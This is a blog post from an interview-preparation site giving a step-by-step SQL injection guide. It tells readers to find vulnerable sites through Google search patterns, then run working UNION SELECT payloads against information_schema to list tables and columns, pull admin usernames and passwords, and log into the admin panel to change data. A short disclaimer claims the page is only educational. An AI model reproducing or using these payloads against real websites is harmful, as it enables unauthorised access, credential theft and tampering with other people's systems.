• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to secondary sidebar

GoHired

Interview Questions asked in Google, Microsoft, Amazon

Join WeekEnd Online Batch from 4-April-2020 on How to Crack Coding Interview in Just 10 Weeks : Fees just 20,000 INR

  • Home
  • Best Java Books
  • Algorithm
  • Internship
  • Certificates
  • About Us
  • Contact Us
  • Privacy Policy
  • Array
  • Stack
  • Queue
  • LinkedList
  • DP
  • Strings
  • Tree
  • Mathametical
  • Puzzles
  • Graph

Advanced SQL Injection

October 4, 2014 by Dhaval Dave

STEP 1) Find Websites from Google with following code

First Try to find out which websites may be Hackable from SQL Injection.
Website which has
.aspx?id=1 
.php?category=1
.php?cat=2
.php?id=5426(any id)


may not so immune to SQL Injection.
So once u find such website

STEP 2) Do  id=1′
‘ = demarcation between data and reserved words . Website should give sql related error once u enter such url.
example .

http://www.ABC.com/product.aspx?category=portable&id=1′

If It gives such error, so it means they have not kept checking for url re-writing url injection.

STEP 3) Find Num of Columns.
remove id=1′ and write 
order by id=1– then 
order by id=2– till it gives error.
Say for my site it gave error at 19– 
So In my site 18 Columns are there.

STEP 4) SELECT ALL Columns

http://www.ABC.com/product.aspx?category=portable&id=1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18;

IF it gives same page and no Numbers , keep id=-1
(Some websites uses call by reference to the id)

so try
http://www.ABC.com/product.aspx?category=portable&id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18;

Now so numbers ?


By 2,6,9 we can understand that they are most Vulnerable columns & these particular columns are being used to display information on the webpage and can be used to extract information from the database.

STEP 5) Get Table information .
replace 2, 6 and 9 to get any information.

http://www.ABC.com/product.aspx?category=portable&id=-1 union all select 1,group_concat(table_name),3,4,5,user(),7,8,database(),10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=database()–

we have fetched table name , user etc
Tables names we got are : admin,category,contact,event,eventc,product,testimonial,xccfi
Admin is enough.
even you can use select statements in place of 2,6,9 like
-> column_name FROM information_schema.tables WHERE column_name LIKE ‘%pass%’ (Works with mysql ) In order to understand which database they have used,  You need to understand Error while working on this.

Now as we have got table names, we can get particular table and get information over it. Obviously we need Admin for this :D ;)

STEP 6) RERTRIVE ALL COLOUMNS FROM ALL TABLES 


http://www.ABC.com/product.aspx?category=portable&id=-1 union all select 1,group_concat(column_name),3,4,5,user(),7,8,database(),10,11,12,13,14,15,16,17,18  from information_schema.columns where table_schema=database()–

To get Particular table’s column use

where table_name=admin–
IF this gives error means table names are encrypted.
Use Hexadecimal of word “admin”

where table_name=0x61646d696e–

:D we got admin table information. column names are id, name, pswd.

STEP 7) Get Data.

Some times if site admin is good he won’t keep data in id , name and pswd :D
– if it gives error such as id, pswd (column name doesnt exist) then use Hexadecimal of id and pswd.
(Convert Hexadecimal online)

Some times even data comes in hex format, convert and enjoy.

Now once we get admin user name and password, we can login into admin panel change data and see data.

PS : To keep data’s secrecy for this websites, we have not reveled any information which may lead to defamation of website, even this website administrator’s have been informed with antonymous email for this security breach.

Please Note : We have not deform any websites with this methods,     This tutorials are just to show how SQL injection works. Any legal action on readers of this page is not Admin of Gohired.in’s responsibility.

Similar Articles

Filed Under: problem Tagged With: Hacking

Reader Interactions

Primary Sidebar

Join WeekEnd Online/Offline Batch from 4-April-2020 on How to Crack Coding Interview in Just 10 Weeks : Fees just 20,000 INR

Join WeekEnd Online/Offline Batch from 4-April-2020

WhatsApp us

Secondary Sidebar

Custom Search

  • How I cracked AMAZON
  • LeetCode
  • Adobe
  • Amazon
  • Facebook
  • Microsoft
  • Hacker Earth
  • CSE Interview

Top Rated Questions

Microsoft BING Interview Experience

N teams are participating. each team plays twice with all other teams. Some of them will go to the semi final. Find Minimum and Maximum number of matches that a team has to win to qualify for finals ?

Binary Tree in Java

flattens 2 D linked list to a single sorted link list

Common Ancestor in a Binary Tree or Binary Search Tree

Top 10 Interviews Techniqes for Campus Interview in IIT NIT BITS for MTech

Printing intermediate Integers between one element & next element of array

System Design: Designing a LLD for Hotel Booking

Find position of the only set bit

BlueStone E-commerce Interview Experience

TicTacToe Game As Asked in Flipkart

Serialise Deserialise N-ary Tree

Spanning Tree

Printing each word reverse in string

Calculate price of parking from parking start end time prices

simple sql injection

Best Java Book | Top Java Programming Book for Beginners

Maximum path sum between two leaves

There are N nuts and N bolts, u have to find all the pairs of nuts and bolts in minimum no. of iteration

BFS (Breath First Search)

Check if an array has duplicate numbers in O(n) time and O(1) space

Find next greater number with same set of digits

Sort Stack in place

Implement a generic binary search algorithm for Integer Double String etc

DFS (Depth First Search)

Longest Increasing Subsequence

Get K Max and Delete K Max in stream of incoming integers

Check a String is SUBSEQUENCE of another String Find Minimum length for that ( DNA Matching )

‘N’ Story Building, with 1,2,3 steps how many ways can a person reach top of building.

Find min element in Sorted Rotated Array (With Duplicates)

Copyright © 2025 · Genesis Framework · WordPress · Log in